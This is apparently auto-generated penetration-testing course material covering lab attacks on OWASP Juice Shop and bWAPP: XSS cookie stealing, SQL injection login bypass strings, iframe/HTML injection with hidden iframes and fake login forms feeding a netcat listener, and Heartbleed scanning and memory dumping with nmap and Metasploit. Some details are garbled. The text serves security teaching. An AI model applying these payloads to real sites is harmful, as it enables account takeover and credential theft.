During the practice, the attacker gains access to the victim's email and password. By analyzing the password, the attacker can determine if it is hashed using MD5 encryption. Depending on the strength of the password, the attacker can decrypt it using online decryption tools. One such tool is md5online.org, where the attacker can paste the hash and decrypt it. The decrypted password is then displayed in plain text.

It is important to note that the success of decryption depends on the difficulty of the hash and its availability online. If the authentication token uses a different encryption or hashing algorithm, the attacker needs to identify it before proceeding with decryption.

The practice also involves tampering with the token signature. By default, the token signature may fail, allowing the attacker to make changes and authenticate with the tampered token. This vulnerability is intentionally designed in the OS View Shop for testing purposes.

When analyzing the payload, the attacker focuses on the status, ID, and any other information available in the data section, such as email and password. While acquiring someone's token may not be easy, it is possible. However, testing the security of acquired tokens, such as those belonging to Facebook, requires a different approach and expertise.

In future videos, we will explore ways to change and tamper with tokens to gain different types of access. It is important to remember that these practices are for educational purposes only and should not be used for malicious intent.

If you found this material valuable, please leave a like. For any questions or suggestions, feel free to leave a comment on my social networks or website. Thank you, and stay tuned for the next session.

EITC/IS/WAPT WEB APPLICATIONS PENETRATION TESTING DIDACTIC MATERIALS
LESSON: WEB ATTACKS PRACTICE
TOPIC: HTTP ATTRIBUTES - COOKIE STEALING

Web applications penetration testing involves identifying and exploiting vulnerabilities in web applications to enhance their security. In this context, one aspect that requires attention is the security of HTTP attributes, particularly cookies. Cookies are used to store user data and session information, and if not properly secured, they can be exploited by attackers to gain unauthorized access to user accounts.

One common vulnerability related to cookies is the lack of proper security measures, such as the "httpOnly" attribute. The "httpOnly" attribute is a security feature that restricts the access of cookies to HTTP requests only, preventing them from being accessed by client-side scripts. However, if the "httpOnly" attribute is not set or is set to false, the cookie becomes vulnerable to attacks like cross-site scripting (XSS).

Cross-site scripting is a method frequently used by attackers to steal cookies. They accomplish this by tricking users into clicking on malicious links that execute JavaScript code. This code then sends the user's cookie, including the authentication token, to the attacker's server. With this stolen cookie, the attacker can impersonate the user and gain unauthorized access to their account.

To identify if a cookie is vulnerable to such attacks, one can inspect the cookie attributes using browser developer tools. By opening the inspect element feature and navigating to the storage section, cookies can be examined. If the "httpOnly" attribute is set to false, it indicates that the cookie is not properly secured and can be accessed and manipulated by client-side scripts.

Exploiting this vulnerability typically involves utilizing cross-site scripting techniques. For example, an attacker can inject malicious code into a search or contact form, taking advantage of unfiltered inputs. When a user interacts with this form, the malicious code is executed, and their cookie is sent to the attacker's server.

It is important to note that while this vulnerability is not common on well-established websites, smaller websites developed by inexperienced teams may overlook this security measure. It is crucial for developers to implement proper security measures, especially when working with frameworks like Node.js.

The lack of proper security measures for HTTP attributes, specifically the "httpOnly" attribute, can lead to the theft of cookies and potential unauthorized access to user accounts. Cross-site scripting is a common method used by attackers to exploit this vulnerability. It is essential for web developers to ensure the correct configuration of HTTP attributes to protect user data and maintain the security of web applications.

Cross-site scripting (XSS) is a web attack that allows attackers to inject malicious scripts into web pages viewed by users. One type of XSS attack involves stealing cookies, which are small pieces of data stored on a user's computer that contain information about their session.

To demonstrate how this attack works, let's consider an example. Suppose we have a script that displays our cookie when executed. We can use the "alert" function in JavaScript to achieve this. By typing "script" and then "alert(document.cookie)", we can display our cookie. Although this may not seem helpful on its own, imagine if we were to post this script as a permanent post on a website. Whenever someone clicks on the link to this post, the JavaScript code can be customized to send their cookie to our web server. Once we have their cookie, we can potentially gain unauthorized access to their account.

To better understand the potential danger, let's look at how this information can be transmitted globally. If a target user clicks on a link that executes the script, their cookie can be sent anywhere in the world. This means that an attacker can receive the cookie and potentially gain access to sensitive user information.

Now, you might be wondering where else this script can be posted maliciously. While this may sound malicious, it is important to understand how to mitigate such attacks. One way to do this is by setting the HTTP attribute to "true" or "on" to secure the cookie. By doing so, you can prevent unauthorized access to the cookie and protect user information.

In addition to stealing cookies, attackers can also gain insight into user information, such as passwords.

However, for now, let's focus on how this attack can be used to steal cookies. As a white hat, you can also gain insight into these attacks and understand how to defend against them.

To demonstrate how an attacker can post this script, let's consider the "contact us" page as an example. In the comment section of this page, we can enter the script. Although we need to test it to ensure it is saved, we can assume that the script will be saved in this case.

The script is quite simple. We can provide a title, such as "script test", and then include the JavaScript code. By using the "alert" function and the "document.cookie" attribute, we can display the cookie to the user. However, if we were sending it to a malicious server, we would modify the code to send the cookie to our server using a PHP file or a PHP GET request. This way, our server can log all the information being sent.

Cross-site scripting attacks that involve stealing cookies can be highly dangerous. By injecting malicious scripts into web pages, attackers can gain unauthorized access to user accounts and potentially compromise sensitive information. It is crucial to implement proper security measures, such as setting HTTP attributes to secure cookies, to mitigate these attacks.

During a penetration test on a website, it is important to understand the concept of false positives. False positives refer to situations where an issue is incorrectly identified as a vulnerability. In this context, it is advised not to prioritize big exploits or exploitations.

In the provided material, the speaker demonstrates a cookie stealing attack. This attack involves submitting a script that, when executed, displays the user's cookie on their screen. The attacker can then use their own script to send the stolen cookie to their server. It is important to note that this behavior is not condoned.

The speaker makes a mathematical error while submitting the script, but later corrects it. They then proceed to explain the code they have written. The script utilizes the document.alert function to display the webpage's entire document.cookie. By exploiting the web application's lack of cookie security, the attacker is able to gain unauthorized access to the victim's account.

To launch this script, one can navigate to the "about us" page in the web application. This page stores the feedback received from the contact section. By accessing this page as an authenticated user, the attacker's script would send the victim's session ID and other relevant information to their server. This allows the attacker to crack the victim's password and gain unauthorized access to their account.

The speaker emphasizes the importance of securing web application cookies and highlights the potential consequences of such vulnerabilities. They also mention that the purpose of these demonstrations is to educate and raise awareness about potential security risks, rather than promoting malicious activities.

It is important to note that these techniques should only be used for educational purposes and with proper authorization. Unauthorized access to systems or accounts is illegal and unethical.

EITC/IS/WAPT WEB APPLICATIONS PENETRATION TESTING DIDACTIC MATERIALS
LESSON: WEB ATTACKS PRACTICE
TOPIC: OWASP JUICE SHOP - SQL INJECTION

Welcome to the web application penetration testing series. In this material, we will be exploring OWASP Juice Shop, a web vulnerable application, specifically focusing on SQL injection attacks.

OWASP Juice Shop is a web application that simulates a poorly designed real-life web application. It offers varying levels of difficulty and is an excellent platform to practice web attacks.

To get started, you can set up OWASP Juice Shop on your local machine using Node or Docker. Alternatively, you can use Heroku, a cloud platform, which allows for quick and easy setup.

Once you have OWASP Juice Shop installed, you will be presented with a prompt stating that the website uses cookies for tracking purposes. Accepting the cookies is recommended as it allows you to track your progress throughout the challenges.

The interface of OWASP Juice Shop is simple and intuitive. It features a login page, a contact us page, and an about us page. These pages mimic those found in a real web application.

The first challenge is to access the scoreboard. To do this, simply navigate to the scoreboard page. The scoreboard organizes challenges based on difficulty, ranging from one to six stars. Each challenge within a difficulty level focuses on a specific aspect of web application security.

Completing a challenge will trigger a notification to track your progress. The scoreboard serves as a way to measure your success and understanding of the concepts covered in the challenges.

The challenges are designed to progressively increase in difficulty. As you move from one-star challenges to six-star challenges, you will encounter more complex scenarios that require advanced knowledge and skills.

By completing the challenges in OWASP Juice Shop, you will gain practical experience in identifying and exploiting SQL injection vulnerabilities in web applications.

Remember to make use of tools like Burp Suite or ZAP for intercepting and analyzing HTTP requests and responses. Additionally, plugins or add-ons like cookie editor can be helpful for manipulating cookies during the testing process.

OWASP Juice Shop provides a realistic environment for practicing SQL injection attacks in web applications. By completing the challenges, you will enhance your understanding of web application security and gain valuable experience in penetration testing.

In this didactic material, we will discuss the topic of web application penetration testing, specifically focusing on web attacks practice using OWASP Juice Shop. We will explore the concept of SQL injection and its application in this context.

Web application penetration testing is a process of assessing the security of a web application by identifying vulnerabilities and weaknesses that can be exploited by attackers. It involves simulating real-world attacks to uncover potential risks and provide recommendations for improving the application's security.

OWASP Juice Shop is a deliberately insecure web application developed by the Open Web Application Security Project (OWASP) to provide a platform for practicing web application security testing. It contains various vulnerabilities and challenges that allow users to learn and practice different attack techniques.

One of the common web attacks is SQL injection, which targets the application's database layer. It occurs when an attacker inserts malicious SQL code into a web application's input fields, leading to unauthorized access, data manipulation, or even complete control over the database.

To illustrate the practical application of SQL injection in OWASP Juice Shop, we will focus on a specific challenge:

accessing the administration section of the store. The objective is to log in as an administrator without knowing the correct password.

To begin, we can attempt to access the administration section by entering "administration" as the username. If successful, we will gain access to the admin email and other user information. However, since we don't know the password, we need to employ SQL injection techniques.

SQL injection exploits vulnerabilities in the way user input is handled by the application. By inserting specially crafted SQL statements into input fields, we can manipulate the application's database queries and bypass authentication mechanisms.

In the case of OWASP Juice Shop, we can try injecting SQL code into the login form. By entering "admin' OR '1'='1" as the username and leaving the password field empty, we can trick the application into authenticating us as the administrator. The injected code "OR '1'='1" always evaluates to true, bypassing the password check.

Once successfully logged in, we can explore various features of the administration section, such as registered users, customer feedback, and recycling requests. This exercise helps us understand the potential impact of SQL injection and the importance of secure coding practices.

It's worth noting that SQL injection is just one example of web application vulnerabilities. Web developers and security professionals should be aware of other common vulnerabilities, such as cross-site scripting (XSS) and cross-site request forgery (CSRF), to ensure robust application security.

Web application penetration testing using OWASP Juice Shop provides a practical environment for learning and practicing various web attacks, including SQL injection. By understanding the techniques and vulnerabilities involved, we can enhance the security of web applications and protect against potential threats.

In this material, we will discuss the practice of web attacks, specifically focusing on SQL injection in the context of the OWASP Juice Shop. SQL injection is a common vulnerability in web applications that allows an attacker to manipulate the database queries by injecting malicious SQL code.

During the demonstration, the speaker accessed a login page where a password was required. By entering a single quotation mark ('), an error was triggered, indicating the presence of a vulnerability. This error was exploited to perform error enumeration, also known as fuzzing, which involves sending various inputs to the system to observe its response.

The speaker then identified the presence of SQL injection by analyzing the query that was displayed on the page. The query indicated that the application selected all entries from the user table where the email is equal to a specified value, and the password was hashed using the MD5 algorithm. The speaker used an MD5 hash identifier to confirm the hashing algorithm.

To decrypt the password, the speaker attempted to use an online MD5 decrypter. However, due to technical difficulties, the decryption process was not completed. Despite this, it was established that the password was indeed being hashed using the MD5 algorithm.

With this knowledge, the speaker proceeded to demonstrate basic SQL injection techniques to gain unauthorized access to the administrator's user account. By using the OR statement in the query, the speaker was able to bypass the authentication process. The OR statement allowed the speaker to specify a condition where either the email or the injected code evaluates to true.

By injecting the code 'OR 1=1', the speaker successfully nullified the password check and gained access to the administrator's user account. This was achieved by manipulating the query to select all entries from the user table where 1 equals 1, effectively bypassing the password check.

It is important to note that SQL injection is a serious security vulnerability that can have severe consequences if not properly addressed. Developers should implement input validation and parameterized queries to prevent SQL injection attacks.

This material demonstrated the concept of SQL injection in the context of the OWASP Juice Shop. By exploiting a

vulnerability in the login page, the speaker was able to bypass the authentication process and gain unauthorized access to the administrator's user account.

A web application penetration testing exercise was conducted on the OWASP Juice Shop platform to practice web attacks, specifically focusing on SQL injection. The goal was to exploit vulnerabilities in the web application to gain unauthorized access and extract sensitive information.

The first step involved using a conditional statement to bypass authentication. By specifying a condition where the first value is equal to one and nullifying the password, the authentication process was effectively removed. This was achieved by leveraging the comment syntax for SQL.

Next, the focus shifted to finding the password. The progress made so far was checked by accessing the administration section using the administrator's user account. The email for the admin account was known, and the authentication token was obtained by inspecting the element and using a cookie editor or storage. The token was found in a JSON web token format, and the necessary information, including the email, was extracted.

However, the password was hashed using MD5. To confirm this, a hash identifier was used, which confirmed that MD5 was indeed the hashing algorithm. The hashed password was then decrypted, revealing the password as "admin123".

With the password obtained, the login process was completed using the administrator's account. This allowed access to the administration panel and solved a challenge related to password strength. The vulnerability highlighted the importance of considering password strength in web applications.

The transcript also mentioned other topics to cover in future videos, such as SQL injection, cross-site scripting, error handling, and accessing other user accounts. These topics were not covered in this particular material.

The web application penetration testing exercise on OWASP Juice Shop demonstrated the exploitation of vulnerabilities through SQL injection. By bypassing authentication and decrypting hashed passwords, unauthorized access was achieved. The exercise highlighted the importance of password strength and introduced various topics for further exploration.

Web applications are a common target for cyber attacks, and it is crucial for organizations to conduct penetration testing to identify vulnerabilities and strengthen their security measures. In this didactic material, we will focus on a specific type of attack called SQL injection, which can be used to exploit weaknesses in web applications.

SQL injection is a technique where an attacker inserts malicious SQL code into a web application's database query. This can allow the attacker to manipulate the database, gain unauthorized access to sensitive information, modify data, or even execute arbitrary commands.

One popular tool for practicing SQL injection is the OWASP Juice Shop. The OWASP Juice Shop is a deliberately vulnerable web application that allows users to test their penetration testing skills in a safe environment. It contains various security vulnerabilities, including SQL injection.

To perform a SQL injection attack on the OWASP Juice Shop, an attacker would first identify a vulnerable input field on the web application. This could be a search box, a login form, or any other input field that interacts with the database. The attacker would then input malicious SQL code into the vulnerable field, with the intention of manipulating the database query.

For example, let's say the OWASP Juice Shop has a search box where users can search for products. The attacker could input the following SQL code into the search box:

```
' OR '1'='1
```

This code is designed to manipulate the query and return all the products in the database, regardless of the search term. By doing this, the attacker can bypass any authentication mechanisms and gain unauthorized access to sensitive information.

To prevent SQL injection attacks, developers should implement proper input validation and parameterization techniques. Input validation ensures that user input is properly sanitized and validated before being used in a database query. Parameterization involves using prepared statements or query parameters to separate the SQL code from the user input, making it impossible for the attacker to manipulate the query.

SQL injection is a serious security vulnerability that can be used to exploit weaknesses in web applications. By understanding how SQL injection works and practicing on platforms like the OWASP Juice Shop, developers and organizations can better protect their web applications from these types of attacks.

EITC/IS/WAPT WEB APPLICATIONS PENETRATION TESTING DIDACTIC MATERIALS
LESSON: WEB ATTACKS PRACTICE
TOPIC: DOTDOTPWN - DIRECTORY TRAVERSAL FUZZING

This part of the material is currently undergoing an update and will be republished shortly.

EITC/IS/WAPT WEB APPLICATIONS PENETRATION TESTING DIDACTIC MATERIALS
LESSON: WEB ATTACKS PRACTICE
TOPIC: IFRAME INJECTION AND HTML INJECTION

An iframe is an HTML document that is embedded inside another HTML document. Attackers use iframe injection to gain control over a web application they have exploited. In an iframe attack, the hacker embeds malicious code in a website page, which executes various malicious instructions. This attack is commonly bundled with malware on web servers, redirecting the home page to another website or running ads on the website. Understanding how to perform and prevent iframe injection attacks is crucial for website security.

To demonstrate iframe injection, we will be using the following tools: Bewap, a target vulnerable web application; Burp, an intercepting proxy; and BeBox, a pre-configured Linux server with Bewap installed. Bewap can be loaded by accessing its IP address.

To start with iframe injection, select the desired bug in Bewap and click on "iframe injection" and then "hack." This will take us to the iframe injection page. Analyzing the page source, we can see that it is a simple HTML webpage with some styling and an iframe tag. The iframe tag specifies the source of the page displayed within the iframe, which in this case is the robust.txt file. By modifying the "param url" parameter, we can load any other directory in the local web route.

Understanding iframe injection and its implications is essential for web application security. By learning how attackers exploit iframe vulnerabilities, we can better protect our websites from such attacks.

When performing web application penetration testing, it is important to understand and practice various web attacks. Two common types of attacks are iframe injection and HTML injection.

Iframe injection allows us to specify the height and width of a particular iframe. By changing the values of these parameters, we can manipulate the appearance of the iframe on the webpage. For example, we can set the height to 300, which will change the size of the iframe. The URL parameter is also crucial in iframe injection as it allows us to specify any file on the local web route. This means we can access specific files within the web application.

HTML injection, on the other hand, involves injecting HTML code into a webpage. This can be used to modify the content or structure of the page. For instance, we can insert a malicious script that can steal sensitive information or perform unauthorized actions. HTML injection is often used in conjunction with other attacks to exploit vulnerabilities in the web application.

To demonstrate these attacks, let's consider a simple example. Suppose we have a file called "666" within the "bweb" directory. This file serves as a flag that we need to find during the testing process. By accessing this file, we can see a message that says "Hi little b, how are you today? Try to detect this evil 66 page." This example showcases how the URL parameter can be used to navigate through directories and access specific files.

To further leverage iframe injection, we can view directories outside the web root if the web application is incorrectly configured. In a properly configured web server, there should be a distinction between the root user and the web data user. This ensures that the web directory can only be accessed by the web data user and not any other files on the system. However, if the web application is misconfigured, we can potentially view any files on the target web server.

To exploit this misconfiguration, we can use tools like Burp Suite. By intercepting the GET request and modifying it, we can attempt to access files such as "hcpassword," which can provide information about the users on the system. If the web application is correctly configured, we should receive an error indicating that the file was not found. This demonstrates that we are restricted to the web server and the web root directory, and cannot access other files on the server.

Iframe injection and HTML injection are common web attacks used in penetration testing. By manipulating iframes and injecting HTML code, we can modify the appearance and content of webpages. It is important to understand the parameters involved, such as the height and width of iframes, as well as the URL parameter for accessing specific files. Additionally, misconfigurations in the web server can lead to the ability to view files

outside the web root directory, highlighting the importance of proper server configuration.

HTML Injection and Iframe Injection are two common web attacks that can be used to exploit vulnerabilities in web applications. In HTML Injection, an attacker can inject malicious HTML code into a web page, which can lead to various security risks. Iframe Injection, on the other hand, involves injecting an iframe tag into a web page, allowing the attacker to execute arbitrary code.

To understand how these attacks work, let's consider an example. Suppose we have a web application that is vulnerable to HTML Injection. In this case, the application does not properly close an HTML tag, which allows an attacker to inject their own code. By closing the tag and adding their code, the attacker can execute arbitrary HTML code on the web page.

For instance, the attacker can inject a script that steals sensitive user information, such as login credentials or credit card details. They can also modify the appearance of the page, redirect users to malicious websites, or perform other malicious actions.

To demonstrate this, the attacker can close the iframe tag and inject their own HTML code. They can add elements like headers, paragraphs, or even JavaScript code. The injected code will be executed when the page is loaded, potentially compromising the security of the web application and the users.

It's important to note that the impact of HTML Injection and Iframe Injection attacks depends on the configuration of the web server and the stack being used. Some servers may have additional security measures in place to prevent or mitigate these attacks.

HTML Injection and Iframe Injection are web attacks that exploit vulnerabilities in web applications. These attacks allow attackers to inject and execute arbitrary code on a web page, potentially leading to various security risks. Understanding how these attacks work is crucial for web developers and security professionals to protect against such vulnerabilities.

EITC/IS/WAPT WEB APPLICATIONS PENETRATION TESTING DIDACTIC MATERIALS
LESSON: WEB ATTACKS PRACTICE
TOPIC: HEARTBLEED EXPLOIT - DISCOVERY AND EXPLOITATION

Heartbleed is a security bug or vulnerability in the OpenSSL cryptography library, which is widely used in the implementation of the Transport Layer Security (TLS) protocol. This vulnerability allows an attacker to view information that would otherwise be protected by SSL or TLS encryption, by reading the memory of a system protected by a vulnerable version of OpenSSL. Heartbleed affects OpenSSL version 1.0.1.

To detect and exploit Heartbleed, you need to perform a vulnerability scan on a particular web server. The ports could be misconfigured, so it's important to scan for vulnerabilities. In this example, we will be using a vulnerable virtual machine called B-Box, which contains B-WAPP and the Heartbleed vulnerability on a specific port. B-Box can be downloaded from the provided link.

Once you have the B-Box virtual machine set up, the first step is to perform a vulnerability scan on the web server. Open your browser and enter the IP address of the B-Box web server. You will see various folders such as B-WAPP, Drupal, Git, Evil, PHPMyAdmin, and SQLite Manager. Click on B-WAPP and log in with the username "bug" and the password "bug". The Heartbleed vulnerability can be found under the "Data Exposure" category.

To exploit Heartbleed, click on "Hack" and you will see a message indicating that the web server is using a vulnerable version of OpenSSL. The message also provides a hint to log in on port 8443 and launch the attack script. You can find the upload.py script in the description section of the video. Follow the instructions and go to port 8443 on the B-Box web server.

In addition to the vulnerability scan, you can also perform an Nmap scan to gather more information about the web server. Use the command "nmap -sv 192.168.1.105" to run a basic service version scan. This will show if there are any other services running on the web server. In this case, the scan reveals that there is an engine's session running.

Once you have confirmed that the web server is vulnerable to Heartbleed, you can proceed with vulnerability scanning to test the specific port. This will help you determine the extent of the vulnerability and any potential risks associated with it.

Please note that this example is presented from a Capture The Flag (CTF) perspective, but understanding and exploiting Heartbleed can be important in real-world scenarios such as bug bounties or other challenges that may require the exploitation of a web server.

Web Applications Penetration Testing - Heartbleed Exploit

In this tutorial, we will explore the Heartbleed vulnerability and demonstrate how to discover and exploit it in web applications. The Heartbleed vulnerability is a serious security flaw that allows an attacker to access sensitive information from a server's memory.

To test if a web application is vulnerable to the Heartbleed exploit, there are several methods that can be used. One approach is to use the nmap tool with specific scripts. Another option is to utilize an auxiliary scanner with the Metasploit console.

To begin, we will perform a scan using nmap. We know that the target port is 8443 and the IP address is 192.168.1.105. By using the nmap script argument and specifying the "ssl-heartbleed" script, we can determine if the server is vulnerable. The scan results will indicate if the Heartbleed vulnerability exists and the risk factor associated with it.

Alternatively, we can also use the Metasploit console to test for the Heartbleed vulnerability. By running the "msfconsole" command, we can access the Metasploit framework. This framework provides an auxiliary module specifically designed to exploit the Heartbleed vulnerability.

Within the Metasploit console, we can search for the appropriate module by using the "search" command with keywords such as "open-ssl" and "heartbleed". Once we have identified the module, we can set the necessary

options, such as the target IP address and port.

The module expands on the functionality of the Heartbleed exploit, offering actions like memory content dumping and private key extraction. For our demonstration, we will focus on the "scan" action, which will test the vulnerability of the target server.

After setting the action to "scan" and running the exploit, the console will display whether the server is vulnerable to the Heartbleed attack on the specified port.

If desired, we can also set the action to "dump" to extract the memory contents of the server. This action will store the dumped data into a binary file. By using the "strings" command on the bin file, we can analyze the contents and search for readable strings that may contain sensitive information.

It is important to note that the Heartbleed vulnerability affects specific versions of OpenSSL, such as 1.01 and the beta version of 1.02. The CVE (Common Vulnerabilities and Exposures) identifiers associated with the Heartbleed vulnerability can provide further information on the specific risks and impacts.

By understanding the Heartbleed vulnerability and how to detect and exploit it, security professionals can better protect web applications from potential attacks.

Web applications are susceptible to various security vulnerabilities, and one such vulnerability is the Heartbleed exploit. In this didactic material, we will explore the discovery and exploitation of the Heartbleed vulnerability in web applications.

The Heartbleed vulnerability is a security bug that affects the OpenSSL cryptographic software library. It allows an attacker to access sensitive information from the memory of a web server. By exploiting this vulnerability, an attacker can potentially obtain valuable data, such as login credentials and session IDs.

To demonstrate the Heartbleed exploit, we will discuss two methods: using an auxiliary module with Metasploit and using a proof of concept script.

The first method involves utilizing the auxiliary module with Metasploit. This module allows us to scan for the vulnerability and extract information from the server's memory. By impersonating a user with the obtained session ID and login credentials, an attacker can perform various types of attacks on the database.

The second method involves using a proof of concept script, which is a Python script specifically designed to exploit the Heartbleed vulnerability. By running this script and specifying the target server's IP address and port, we can detect if the server is vulnerable. If it is, the script will return a warning and provide a dump of the server's memory, potentially revealing sensitive information.

It is important to note that the Heartbleed vulnerability has been patched in most web servers. However, it may still exist in older or unmaintained websites. This vulnerability is particularly relevant in Capture The Flag (CTF) challenges, such as those found on platforms like Hack The Box or Wargames. Therefore, understanding how to detect and exploit the Heartbleed vulnerability can be valuable in certain scenarios.

The Heartbleed exploit is a significant security vulnerability that can expose sensitive information from web servers. By using tools like Metasploit's auxiliary module or a proof of concept script, an attacker can leverage this vulnerability to gain unauthorized access to a web application's data.

EITC/IS/WAPT WEB APPLICATIONS PENETRATION TESTING DIDACTIC MATERIALS
LESSON: WEB ATTACKS PRACTICE
TOPIC: PHP CODE INJECTION

Web applications are vulnerable to various types of attacks, including PHP code injection. In this didactic material, we will explore the concept of PHP code injection and how it can be used to execute malicious code on a web server.

PHP code injection is a type of attack where an attacker injects malicious PHP code into a web application's input fields. This code is then executed by the server, allowing the attacker to perform unauthorized actions or gain access to sensitive information.

To understand PHP code injection, let's consider a test page where we can input a message. When we inject PHP code into the input field and submit it, the server processes the input and displays the output. By analyzing the page's response, we can gather information about the server's configuration and potentially exploit vulnerabilities.

One way to inject PHP code is by using system-level comments. These comments are specified using symbols like /* and */. By injecting PHP code within these comments, we can trick the server into executing our code. For example, we can use the system() function to execute a command and display the output.

It's important to note that web applications should be set up to prevent code injection attacks. One way to do this is by validating and sanitizing user input. By filtering out any potentially malicious code, we can ensure that only safe data is processed by the server.

PHP code injection is a serious security vulnerability that can be exploited by attackers to execute malicious code on a web server. Web developers should implement proper input validation and sanitization techniques to protect against this type of attack.

Web applications are vulnerable to various security threats, and one of them is PHP code injection. In this practice, we will explore how attackers can inject malicious PHP code into web applications and the potential impact of such attacks.

When attackers successfully inject PHP code into a web application, they can execute arbitrary commands and gain unauthorized access to the system. This can lead to data breaches, unauthorized modifications, and even complete control over the application.

To understand how PHP code injection works, let's take a closer look at the attack process. Attackers typically exploit vulnerabilities in the application's input validation mechanisms. They find ways to bypass input filters and inject their own PHP code into the application.

Once the malicious code is injected, it can be executed by the server, leading to various consequences. Attackers can read sensitive data, modify database records, or even execute system commands. The impact of PHP code injection attacks can be severe, compromising the confidentiality, integrity, and availability of the web application.

To mitigate the risk of PHP code injection attacks, web developers should implement proper input validation and sanitization techniques. Input validation ensures that only expected and valid data is accepted by the application. Sanitization techniques remove or neutralize potentially malicious code from user input.

Additionally, web application firewalls (WAFs) can be used to detect and block PHP code injection attempts. WAFs analyze incoming requests and compare them against known attack patterns. If a potential PHP code injection is detected, the WAF can block the request and prevent the attack from succeeding.

Regular security assessments and penetration testing are also essential to identify and address vulnerabilities in web applications. By proactively testing the application's security, developers can discover and fix potential vulnerabilities before they are exploited by attackers.

PHP code injection is a serious security threat to web applications. Attackers can exploit vulnerabilities in input validation mechanisms to inject malicious PHP code, potentially leading to unauthorized access and data breaches. Implementing proper input validation, sanitization techniques, and using web application firewalls can help mitigate the risk of PHP code injection attacks.

EITC/IS/WAPT WEB APPLICATIONS PENETRATION TESTING DIDACTIC MATERIALS
LESSON: WEB ATTACKS PRACTICE
TOPIC: BWAPP - HTML INJECTION - REFLECTED POST

In this material, we will discuss HTML injection, specifically focusing on reflected HTML injection with the POST request. HTML injection is a type of attack where an attacker intercepts a POST request sent to a server and modifies the parameters or their values. By injecting HTML code into these parameters, the attacker can manipulate the way the server reflects the data back to the user.

To understand this concept, let's consider an example. Suppose we have a web application that takes input for a first name and a last name. When we enter our names and submit the form, the application displays a welcome message with our names. Now, if we enable a tool like Burp Suite Proxy, we can intercept the POST request and analyze its contents.

The POST request will include the parameters for the first name and last name. Our goal is to test if these parameters are vulnerable to HTML injection. We can modify the values of these parameters to include HTML tags and see if the server reflects them back to the user. For instance, we can change the value of the first name parameter to include an h1 tag and write a message within it. Similarly, we can modify the value of the last name parameter to include a paragraph tag and write another message.

When we send this modified POST request, we can observe that the server reflects the injected HTML back to the user. The welcome message now includes the HTML formatting and the messages we inserted. Although the impact of this particular attack may seem limited, the ability to inject HTML code is still a vulnerability that can be exploited by attackers.

It is important to note that HTML injection can occur in both POST and GET requests. In this material, we focused on reflected HTML injection with the POST request. In future materials, we will explore other types of HTML injection attacks and their implications.

EITC/IS/WAPT WEB APPLICATIONS PENETRATION TESTING DIDACTIC MATERIALS
LESSON: WEB ATTACKS PRACTICE
TOPIC: BWAPP - HTML INJECTION - STORED - BLOG

Stored HTML injection is a type of web attack that occurs when malicious HTML code is stored on a server and then displayed to users who visit a specific web page. This type of attack can have serious consequences as it can infect multiple users and potentially compromise their data.

One common example of stored HTML injection is in the context of a blog. Many blog editors allow users to modify their blog posts using HTML markup. This is because HTML is a markup language that allows for greater customization of the content. However, this also opens up the possibility of malicious code being injected into the blog post.

Content management systems like WordPress have measures in place to detect and prevent such attacks, especially when it comes to malicious code and certain tags that are known to be malicious, such as iframes.

An iframe is a HTML element that allows for the embedding of another HTML document within the current document. It can be used to display content from another website or to interact with the current document in various ways. In the context of stored HTML injection, iframes can be used to execute malicious code and gather information about users who visit the infected web page.

One advantage of using iframes for this purpose is that they are difficult to detect. By not specifying a size for the iframe, it becomes hard to spot when inspecting the elements of the web page. This makes it easier for the attacker to remain undetected.

To demonstrate the concept of stored HTML injection, we can use an iframe that sends client information back to the attacker's IP address. By setting the height and width of the iframe to zero, we make it virtually invisible on the web page.

Once the malicious code is inserted and the user visits the infected web page, the code will execute and send the client's data, such as IP address and other information, to the attacker's IP address. This can be done by setting up a netcat listener on a specific port and capturing the incoming data.

It is important to note that stored HTML injection can be used for various purposes. It can be used to gather user information, deface websites, or even redirect users to malicious websites. It is a common attack vector and website owners should take necessary precautions to prevent such attacks.

Stored HTML injection is a web attack where malicious HTML code is stored on a server and displayed to users who visit a specific web page. It can have serious consequences and can be used to gather user information or compromise website integrity. Website owners should implement security measures to prevent such attacks.

Web applications penetration testing involves identifying vulnerabilities in web applications that could potentially be exploited by attackers. One common type of attack is HTML injection, where an attacker injects malicious code into a web page to manipulate its content or steal sensitive information. In this case, we will focus on a specific type of HTML injection called stored HTML injection.

Stored HTML injection occurs when an attacker injects malicious code into a web application that is permanently stored and displayed to users. This can be done through various means, such as manipulating user-generated content or exploiting vulnerabilities in the application's input validation mechanisms.

To demonstrate the impact of stored HTML injection, we will use a vulnerable web application called bWAPP. In this example, we will target a blog page that allows users to post comments. By injecting malicious HTML code into a comment, we can potentially exploit users who view the blog.

First, we need to understand the basic information we can gather from the web server. By accessing the web page, we can see details such as the user agent, which tells us the browser and operating system being used by the client. This information is crucial for understanding the potential impact of the attack.

To prove that the attack works, we will open another terminal and set up a netcat listener. We will then access the web server from a mobile device and navigate to the specific web page where the HTML injection is stored. By doing this, we can observe the request made by the mobile device, including the IP address and user agent information.

In this example, we can see that the mobile device is using Linux version 9 and a Poco phone. This demonstrates how stored HTML injection can be used to gather important information about the user's device.

Next, we will explore another type of attack that targets users who are unaware of the vulnerabilities in content management systems. We will create a fake login form and inject it into the web page. This attack aims to trick users into entering their username and password, which can then be captured by the attacker.

Using the w3schools editor, we have created a simple HTML login form that will send the data back to our IP address. The form includes fields for username and password.

To perform the attack, we copy the HTML code for the login form and inject it into the HTML injection page. After submitting the injected code, we can see that the login form is displayed on the web page.

This basic demonstration shows how an attacker can capture usernames and passwords by tricking users into entering their credentials on a fake login form. In real-world scenarios, attackers would make the fake login form look as realistic as possible, targeting popular content management systems like WordPress.

To capture the entered credentials, we set up a netcat listener and submit the login form with test credentials. By examining the GET request, we can see that the parameters username and password are sent with their corresponding values.

This example highlights the potential impact of stored HTML injection, where attackers can exploit users and gather sensitive information. It is essential for web developers and security professionals to be aware of this vulnerability and implement proper input validation and security measures to mitigate the risk.

Stored HTML injection is a type of attack that allows attackers to inject malicious code into a web application, targeting user-generated content or vulnerabilities in input validation mechanisms. This attack can be used to manipulate web page content or steal sensitive information, such as usernames and passwords. Web developers and security professionals should be vigilant in implementing proper security measures to protect against stored HTML injection vulnerabilities.

EITC/IS/WAPT WEB APPLICATIONS PENETRATION TESTING DIDACTIC MATERIALS
LESSON: WEB ATTACKS PRACTICE
TOPIC: BWAPP - OS COMMAND INJECTION WITH COMMIX

This part of the material is currently undergoing an update and will be republished shortly.

EITC/IS/WAPT WEB APPLICATIONS PENETRATION TESTING DIDACTIC MATERIALS
LESSON: WEB ATTACKS PRACTICE
TOPIC: BWAPP - SERVER-SIDE INCLUDE SSI INJECTION

